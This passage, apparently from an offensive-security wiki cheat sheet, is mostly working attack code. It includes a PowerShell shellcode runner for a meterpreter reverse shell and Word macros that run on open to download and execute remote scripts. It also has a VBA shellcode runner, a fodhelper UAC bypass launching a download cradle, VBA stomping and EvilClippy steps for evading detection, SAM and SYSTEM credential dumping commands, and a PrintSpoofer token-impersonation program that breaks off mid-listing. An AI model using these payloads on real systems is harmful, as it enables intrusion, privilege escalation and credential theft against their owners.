    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
